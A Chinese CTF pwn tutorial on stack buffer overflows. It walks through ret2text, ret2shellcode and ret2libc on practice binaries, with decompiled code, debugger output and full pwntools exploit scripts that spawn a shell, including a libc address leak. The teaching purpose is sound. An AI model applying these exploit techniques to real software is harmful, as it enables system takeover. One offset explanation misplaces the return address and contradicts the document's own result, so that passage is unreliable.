栈溢出简介
函数中的存储在栈中的局部变量数组边界检查不严格发生越界写,造成用户输入覆盖到缓冲区外的数据内容,
由于栈中同时存在着与函数调用参数的相关信息,栈溢出可以导致控制流劫持
基础栈溢出(hello world in pwn)
多数情况下我们需要让程序执行这一段代码般来说,在CTF中的PWN,
system("/bin/sh"");
也就是说在远程机器上开一个命令行终端
这样我们就可以通过命令行来控制目标机器
通常来说,CTF比赛中只需要开启命令行后读flag(cat flag)
ret2text(理想情况)
Return to text,控制程序的返回地址到原本程序中的函数(代码)。
例如程序中有类似function:
- system(‘/bin/sh’)
- execve(‘/bin/sh’,NULL,NULL)
就可以跳转到这个function,function的地址可以通过objdump或者ida来查找。
理想情况下,程序中有一段代码能直接满足我们的需求,
我们只需要将执行流劫持到这一段代码即可
例子
main函数调用b,b函数调用a。
缓冲区溢出发生在a函数中。
buf的长度为80,但是却读入了200长度。
分析程序运行至a时的栈帧
栈中存放buf和返回地址等等信息。
buf的长度为80,紧邻b函数的rbp指针和返回地址,
栈地址从高地址向低地址生长。
我们读入一段数据是从低地址向高地址读入。
这里我们读入'X’*80 +'A’*8 +'B’*8
可以看到,原本存储b函数的rbp地址内容已经被覆盖成了'AAAAAAAA‘
返回地址已经被覆盖为了'BBBBBBBB’
这时候,如果程序返回,程序会返回一个异常错误。
因为'BBBBBBBB’这个字符串,翻译到16进制:0x4242424242424242,这个地址在内存中不是一个合法的代码地址。
我们变换一下思路,这次我们输入的数据是:X’*80 +'A’*8 + target addr
target addrs是我们想要让程序跳转到的地方,
这时候,程序的执行流就被我们控制了
rbp
那么RBP我们就不管了吗?
是的,一般情况下,RBP的值我们不需要构造。
RBP是程序用来定位栈中的局部变量地址的。
除非涉及到RBP寄存器传递参数,一般的ROP不要管RBP.
具体情况具体分析。
总结
栈溢出的原理就是栈中存储的局部变量数组发生溢出,覆盖了栈中的其他数据将返回地址覆盖为我们期望的目标地址,即可劫持控制流
例题
ret2text
原理
ret2text 即控制程序执行程序本身已有的的代码 (即, .text
段中的代码) 。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets),这就是我们所要说的 ROP。
这时,我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。
例子
其实,在栈溢出的基本原理中,我们已经介绍了这一简单的攻击。在这里,我们再给出另外一个例子,bamboofox 中介绍 ROP 时使用的 ret2text 的例子。
点击下载: ret2text
首先,查看一下程序的保护机制:
➜ ret2text checksec ret2text
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
可以看出程序是 32 位程序,且仅开启了栈不可执行保护。接下来我们使用 IDA 反编译该程序:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("There is something amazing here, do you know anything?");
gets((char *)&v4);
printf("Maybe I will tell you next time !");
return 0;
}
可以看出程序在主函数中使用了 gets 函数,显然存在栈溢出漏洞。接下来查看反汇编代码:
.text:080485FD secure proc near
.text:080485FD
.text:080485FD input = dword ptr -10h
.text:080485FD secretcode = dword ptr -0Ch
.text:080485FD
.text:080485FD push ebp
.text:080485FE mov ebp, esp
.text:08048600 sub esp, 28h
.text:08048603 mov dword ptr [esp], 0 ; timer
.text:0804860A call _time
.text:0804860F mov [esp], eax ; seed
.text:08048612 call _srand
.text:08048617 call _rand
.text:0804861C mov [ebp+secretcode], eax
.text:0804861F lea eax, [ebp+input]
.text:08048622 mov [esp+4], eax
.text:08048626 mov dword ptr [esp], offset unk_8048760
.text:0804862D call ___isoc99_scanf
.text:08048632 mov eax, [ebp+input]
.text:08048635 cmp eax, [ebp+secretcode]
.text:08048638 jnz short locret_8048646
.text:0804863A mov dword ptr [esp], offset command ; "/bin/sh"
.text:08048641 call _system
在 secure 函数又发现了存在调用 system("/bin/sh")
的代码,那么如果我们直接控制程序返回至 0x0804863A
,那么就可以得到系统的 shell 了。
下面就是我们如何构造 payload 了,首先需要确定的是我们能够控制的内存的起始地址距离 main 函数的返回地址的字节数。
.text:080486A7 lea eax, [esp+1Ch]
.text:080486AB mov [esp], eax ; s
.text:080486AE call _gets
可以看到该字符串是通过相对于 esp 的索引,所以我们需要进行调试,将断点下在 call 处,查看 esp,ebp,如下:
gef➤ b *0x080486AE
Breakpoint 1 at 0x80486ae: file ret2text.c, line 24.
gef➤ r
There is something amazing here, do you know anything?
Breakpoint 1, 0x080486ae in main () at ret2text.c:24
24 gets(buf);
───────────────────────────────────────────────────────────────────────[ registers ]────
$eax : 0xffffcd5c → 0x08048329 → "__libc_start_main"
$ebx : 0x00000000
$ecx : 0xffffffff
$edx : 0xf7faf870 → 0x00000000
$esp : 0xffffcd40 → 0xffffcd5c → 0x08048329 → "__libc_start_main"
$ebp : 0xffffcdc8 → 0x00000000
$esi : 0xf7fae000 → 0x001b1db0
$edi : 0xf7fae000 → 0x001b1db0
$eip : 0x080486ae → <main+102> call 0x8048460 <gets@plt>
调用 gets
函数时,buf
的地址被传递给 gets
,也就是说 buf
的地址是 0xffffcd5c
计算 buf
与 esp
的偏移
buf
的地址是 0xffffcd5c
,esp
是 0xffffcd40
。要计算 buf
相对于 esp
的偏移量,我们进行如下计算:
buf 地址 = 0xffffcd5c
esp 地址 = 0xffffcd40
偏移量 = buf 地址 - esp 地址 = 0xffffcd5c - 0xffffcd40 = 0x1c
所以 buf
相对于 esp
的偏移量是 0x1c
。
计算 buf
与 ebp
的偏移
类似地,buf
的地址是 0xffffcd5c
,ebp
是 0xffffcdc8
。计算偏移量如下:
buf 地址 = 0xffffcd5c
ebp 地址 = 0xffffcdc8
偏移量 = buf 地址 - ebp 地址 = 0xffffcd5c - 0xffffcdc8 = -0x6c
这里的偏移量是 -0x6c
,也就是说 buf
相对于 ebp
的偏移是 -0x6c
。
计算 buf
与返回地址的偏移
在栈帧中,返回地址位于 ebp
的上方(更低地址)。通常情况下,返回地址位于 ebp + 4
的位置。因此 buf
相对于返回地址的偏移量可以通过以下计算得出:
buf 相对于返回地址的偏移 = -0x6c + 4 = -0x68
综上所述:
buf
相对于esp
的偏移量是0x1c
buf
相对于ebp
的偏移量是-0x6c
buf
相对于返回地址的偏移量是-0x68
可以看到 esp 为 0xffffcd40,ebp 为 0xffffcdc8,同时 s 相对于 esp 的索引为 esp+0x1c
,因此,我们可以推断:
- s 的地址为 0xffffcd5c
- s 相对于 ebp 的偏移为 0x6c
- s 相对于返回地址的偏移为 0x6c+4
因此最后的 payload 如下:
##!/usr/bin/env python
from pwn import *
sh = process('./ret2text')
target = 0x804863a
sh.sendline(b'A' * (0x6c + 4) + p32(target))
sh.interactive()
ret2shellcode(正常情况)
如果程序中没有这样一段代码,怎么办?
我们可以自己写shellcode!
shellcode就是一段可以独立运行开启shell的一段汇编代码
ret2shellcode的思路就是
(1)构造shellcode通过溢出放到程序某片存储空间上——为了能够执行这段代码,所存储的区域需要有可执行的权限
(2)将返回地址劫持到构造的shellcode地址使得程序开始执行恶意代码
如果程序中存在让用户向一段长度足够的缓冲区中输入数据
我们向其中输入shellcode。
将程序劫持到shellcode上即可
当然,这种也是理想情况。
就是计算buf和原始返回地址之间的偏移量然后填充shellcode直到能把返回地址覆盖成我想控制的地址buf,然后buf又返回缓冲区执行shellcode
-
确定偏移量: 首先,攻击者需要确定从缓冲区开始到保存在栈上的返回地址(EIP或类似的寄存器)的偏移量。这通常通过分析程序的内存布局来完成,可能涉及到使用调试器或逆向工程工具。
-
构造Payload: 知道了偏移量后,攻击者构造一个payload,它由以下几部分组成:
- 填充(Padding): 这部分数据用于确保payload覆盖到返回地址的位置。填充通常是用某个特定字符(如'A')重复多次,直到达到偏移量的长度。
- Shellcode: 这是攻击者希望执行的恶意代码。在某些情况下,如果缓冲区足够大,shellcode可以直接放在payload中。
- NOP Sled: 一个NOP滑动区(NOP是No Operation指令)可能被添加在shellcode之前,以确保如果溢出稍微超出了预期,控制流仍然可以安全地滑到shellcode的开始处。
-
覆盖返回地址: 当payload被发送到程序时,如果存在缓冲区溢出漏洞,填充部分将覆盖原始的返回地址,将其改变为攻击者控制的地址。这个地址通常是攻击者控制的内存区域的地址,比如shellcode所在的位置。
-
执行Shellcode: 一旦函数返回,CPU会尝试跳转到新的返回地址(现在被覆盖为攻击者控制的地址)。如果这个地址指向shellcode,那么shellcode将被执行。
Saved EIP
表示函数调用时保存的返回地址,它以小端序存储,所以低位字节在低地址处。- 参数
Arg1
和Arg2
也以小端序存储,它们的低位字节在低地址处,高位字节在高地址处。 - 缓冲区
Buffer
从栈底方向开始存储,如果发生溢出,攻击者的数据会覆盖缓冲区的字节,然后向上覆盖参数和返回地址。
例子1
首先看C代码:
#include <stdio.h>
#include <string.h>
char buf2[100];
int main(void)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
char buf[100];
printf("No system for you this time !!!\n");
gets(buf);
strncpy(buf2, buf, 100);
printf("bye bye ~");
return 0;
}
v4为gets函数接收数据长度范围,依据ret2text的方法可以得到字符串起始位置距离ret跳转0x6c+4个字节,接下来使用strncpy函数将按输入的内容复制到buf2变量当中。和ret2text不同的是ret2shellcode程序中并没有直接可以调用的"/bin/sh"可以用,没有也没关系,由于NX保护没有开启,我们可以自己构造shellcode放在栈中。接下来需要找存放shellcode的位置,由于输入的字符串存储在buf2变量当中,所以可以从buf2变量下手
这里我们以 bamboofox 中的 ret2shellcode 为例,需要注意的是,你应当在内核版本较老的环境中进行实验(如 Ubuntu 18.04 或更老版本)。由于容器环境间共享同一内核,因此这里我们无法通过 docker 完成环境搭建。
点击下载: ret2shellcode
首先检测程序开启的保护:
➜ ret2shellcode checksec ret2shellcode
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
可以看出源程序几乎没有开启任何保护,并且有可读,可写,可执行段。接下来我们再使用 IDA 对程序进行反编译:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets((char *)&v4);
strncpy(buf2, (const char *)&v4, 0x64u);
printf("bye bye ~");
return 0;
}
可以看出,程序仍然是基本的栈溢出漏洞,不过这次还同时将对应的字符串复制到 buf2 处。简单查看可知 buf2 在 bss 段。
.bss:0804A080 public buf2
.bss:0804A080 ; char buf2[100]
通过IDA可以找到buf2变量存放在bss段(0x0804A080),因为一会自己构造的shellcode需要存放在buf2变量中,而buf2变量存放在程序的bss段,所以需要通过gdb查看一下该程序是否在bss段具有执行权限,如果没有执行权限,连带着buf2变量中的shellcode就不可执行
gef➤ b main
Breakpoint 1 at 0x8048536: file ret2shellcode.c, line 8.
gef➤ r
Starting program: /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
Breakpoint 1, main () at ret2shellcode.c:8
8 setvbuf(stdout, 0LL, 2, 0LL);
─────────────────────────────────────────────────────────────────────[ source:ret2shellcode.c+8 ]────
6 int main(void)
7 {
→ 8 setvbuf(stdout, 0LL, 2, 0LL);
9 setvbuf(stdin, 0LL, 1, 0LL);
10
─────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x8048536 → Name: main()
─────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ vmmap
Start End Offset Perm Path
0x08048000 0x08049000 0x00000000 r-x /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
0x08049000 0x0804a000 0x00000000 r-x /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
0x0804a000 0x0804b000 0x00001000 rwx /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
0xf7dfc000 0xf7fab000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7fab000 0xf7fac000 0x001af000 --- /lib/i386-linux-gnu/libc-2.23.so
0xf7fac000 0xf7fae000 0x001af000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7fae000 0xf7faf000 0x001b1000 rwx /lib/i386-linux-gnu/libc-2.23.so
0xf7faf000 0xf7fb2000 0x00000000 rwx
0xf7fd3000 0xf7fd5000 0x00000000 rwx
0xf7fd5000 0xf7fd7000 0x00000000 r-- [vvar]
0xf7fd7000 0xf7fd9000 0x00000000 r-x [vdso]
0xf7fd9000 0xf7ffb000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7ffb000 0xf7ffc000 0x00000000 rwx
0xf7ffc000 0xf7ffd000 0x00022000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 0x00023000 rwx /lib/i386-linux-gnu/ld-2.23.so
0xfffdd000 0xffffe000 0x00000000 rwx [stack]
通过 vmmap,我们可以看到 bss 段对应的段具有可执行权限:
0x0804a000 0x0804b000 0x00001000 rwx /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
那么这次我们就控制程序执行 shellcode,也就是读入 shellcode,然后控制程序执行 bss 段处的 shellcode。其中,相应的偏移计算类似于 ret2text 中的例子。
最后的 payload 如下:
#!/usr/bin/env python
from pwn import *
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
sh.sendline(shellcode.ljust(112, b'A') + p32(buf2_addr))
sh.interactive()
112字节的由来:padding(填充) = (ebp - (esp+1c)) + 4
shellcode.ljust(112, b'A')
是 Python 中的一个字符串操作,它执行的步骤如下:
例如,如果buf2_addr
是攻击者控制的内存地址,攻击者希望程序跳转到这个地址执行shellcode,那么p32(buf2_addr)
将这个地址转换成4个字节的字节串,然后将这个字节串附加到溢出数据的末尾。这样,当程序执行到这个溢出的数据时,它的返回地址将被覆盖,导致程序跳转到攻击者指定的地址执行shellcode。
-
shellcode: 这是一个字节串(bytes),通常包含了要执行的恶意代码。在缓冲区溢出攻击中,攻击者会利用这个字节串来覆盖程序的控制流。
-
ljust(112, b'A'): 这是一个字符串方法调用,它的作用是将
shellcode
左对齐到一个指定的宽度,这里是 112 字节。如果shellcode
的长度小于 112 字节,那么它将被填充到这个宽度。填充使用的字符是第二个参数b'A'
,这是一个字节,其 ASCII 码值为 65,即大写字母 'A'。 -
填充过程: 如果
shellcode
的长度小于 112 字节,ljust
方法会在shellcode
的右侧填充 'A' 字符,直到整个字符串的长度达到 112 字节。如果shellcode
的长度已经等于或超过 112 字节,ljust
方法将不会做任何填充。 -
在缓冲区溢出攻击中,
p32(buf2_addr)
这个函数的用途是将一个32位的地址(buf2_addr
)转换成其32位的字节串表示形式。这通常用于覆盖程序的返回地址,使得程序执行流被重定向到攻击者控制的内存区域。具体来说,
p32
函数的作用如下: -
地址转换: 将一个32位的整数地址(
buf2_addr
)转换成其字节串形式。在32位系统中,一个地址是4个字节长。 -
字节顺序: 转换过程中,
p32
函数会根据目标系统的字节顺序(大端或小端)来排列这四个字节。这对于确保攻击的有效性至关重要,因为不同的系统可能有不同的字节顺序。 -
覆盖返回地址: 在缓冲区溢出攻击中,攻击者通过溢出缓冲区来覆盖函数的返回地址。
p32(buf2_addr)
转换得到的字节串被放置在溢出数据的末尾,以确保当函数返回时,程序计数器(Program Counter, PC)被设置为这个新的地址。 -
执行控制: 当程序执行到这个被覆盖的返回地址时,它会跳转到攻击者指定的内存地址(
buf2_addr
)处执行。如果这个地址处存放的是攻击者的shellcode,那么程序将执行这段shellcode,从而允许攻击者获得对目标系统的控制。
ret2libc
这是一种在存在栈溢出漏洞的程序中利用动态链接库(如 libc)中的函数来执行任意代码的方法
基本思路
ret2libc是控制函数执行libc中的函数,通常是返回至某个函数的plt处。一般情况下,会选择执行system('/bin/sh'),因此需要找到system函数的地址
看到这里相信有的师傅就会问了,为什么不能直接跳到got表,通过前面的前置知识我们知道plt表中的地址对应的是指令,got表中的地址对应的是指令地址,而返回地址必须保存一段有效的汇编指令,所以必须要用plt表
ret2libc通常可以分为下面几种类型:
- • 程序中自身包含system函数和"/bin/sh"字符串
- • 程序中自身就有system函数,但是没有"/bin/sh"字符串
- • 程序中自身没有syetem函数和"/bin/sh"字符串,但给出了libc.so文件
- • 程序中自身没有sysetm函数和"/bin/sh"字符串,并且没有给出libc.so文件
针对前面那三种在前面的文章中已经进行过详细讲解,本文主要是针对第四种情况进行讲解
对于没有给出libc.so文件的程序,我们可以通过泄漏出程序当中的某个函数的地址,通过查询来找出其中使用lib.so版本是哪一个,然后根据lib.so的版本去找到我们需要的system函数的地址。
针对常见的题目我们的解题思路是这样的:
- 1. 利用栈溢出及puts函数泄漏出在got表中
__libc_start_main
函数的地址 - 2. puts函数的返回地址为_start函数
- 3. 利用最低的12位找出libc版本(即使程序有ASLR保护,也只是针对地址中间位进行随机,最低的12位并不会发生改变)
- 4. 利用找到的libc版本计算system函数和/bin/sh字符串在内存中的正确的地址
例子
我们由简单到难分别给出三个例子。
例 1
这里我们以 bamboofox 中 ret2libc1 为例。
点击下载: ret2libc1
首先,我们检查一下程序的安全保护:
➜ ret2libc1 checksec ret2libc1
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
源程序为 32 位,开启了 NX 保护。下面对程序进行反编译以确定漏洞位置:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("RET2LIBC >_<");
gets((char *)&v4);
return 0;
}
可以看到在执行 gets 函数的时候出现了栈溢出。此外,利用 ropgadget,我们可以查看是否有 /bin/sh 存在:
➜ ret2libc1 ROPgadget --binary ret2libc1 --string '/bin/sh'
Strings information
============================================================
0x08048720 : /bin/sh
确实存在,再次查找一下是否有 system 函数存在。经在 ida 中查找,确实也存在。
.plt:08048460 ; [00000006 BYTES: COLLAPSED FUNCTION _system. PRESS CTRL-NUMPAD+ TO EXPAND]
那么,我们直接返回该处,即执行 system 函数。相应的 payload 如下:
#!/usr/bin/env python
from pwn import *
sh = process('./ret2libc1')
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat([b'a' * 112, system_plt, b'b' * 4, binsh_addr])
sh.sendline(payload)
sh.interactive()
这里我们需要注意函数调用栈的结构,如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址,这里以 'bbbb'
作为虚假的地址,其后参数对应的参数内容。
这个例子相对来说简单,同时提供了 system 地址与 /bin/sh 的地址,但是大多数程序并不会有这么好的情况。
例 2
这里以 bamboofox 中的 ret2libc2 为例 。
点击下载: ret2libc2
该题目与例 1 基本一致,只不过不再出现 /bin/sh 字符串,所以此次需要我们自己来读取字符串,所以我们需要两个 gadgets,第一个控制程序读取字符串,第二个控制程序执行 system("/bin/sh")。由于漏洞与上述一致,这里就不在多说,具体的 exp 如下:
##!/usr/bin/env python
from pwn import *
sh = process('./ret2libc2')
gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx = 0x0804843d
buf2 = 0x804a080
payload = flat(
[b'a' * 112, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2])
sh.sendline(payload)
sh.sendline(b'/bin/sh')
sh.interactive()
需要注意的是,我这里向程序中 bss 段的 buf2 处写入 /bin/sh 字符串,并将其地址作为 system 的参数传入。这样以便于可以获得 shell。
例 3
这里以 bamboofox 中的 ret2libc3 为例 。
点击下载: ret2libc3
在例 2 的基础上,再次将 system 函数的地址去掉。此时,我们需要同时找到 system 函数地址与 /bin/sh 字符串的地址。首先,查看安全保护
➜ ret2libc3 checksec ret2libc3
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
可以看出,源程序仍旧开启了堆栈不可执行保护。进而查看源码,发现程序的 bug 仍然是栈溢出:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No surprise anymore, system disappeard QQ.");
printf("Can you find it !?");
gets((char *)&v4);
return 0;
}
那么我们如何得到 system 函数的地址呢?这里就主要利用了两个知识点:
- system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
- 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。而 libc 在 github 上有人进行收集,如下
- GitHub - niklasb/libc-database: Build a database of libc offsets to simplify exploitation
所以如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system 函数的地址。
那么如何得到 libc 中的某个函数的地址呢?我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。
我们自然可以根据上面的步骤先得到 libc,之后在程序中查询偏移,然后再次获取 system 地址,但这样手工操作次数太多,有点麻烦,这里给出一个 libc 的利用工具,具体细节请参考 readme:
- https://github.com/lieanu/LibcSearcher
此外,在得到 libc 之后,其实 libc 中也是有 /bin/sh 字符串的,所以我们可以一起获得 /bin/sh 字符串的地址。
这里我们泄露 __libc_start_main 的地址,这是因为它是程序最初被执行的地方。基本利用思路如下
- 泄露 __libc_start_main 地址
- 获取 libc 版本
- 获取 system 地址与 /bin/sh 的地址
- 再次执行源程序
- 触发栈溢出执行 system(‘/bin/sh’)
exp 如下:
#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')
ret2libc3 = ELF('./ret2libc3')
puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']
print("leak libc_start_main_got addr and return to main again")
payload = flat([b'A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter(b'Can you find it !?', payload)
print("get the related addr")
libc_start_main_addr = u32(sh.recv()[0:4])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
print("get shell")
payload = flat([b'A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)
sh.interactive()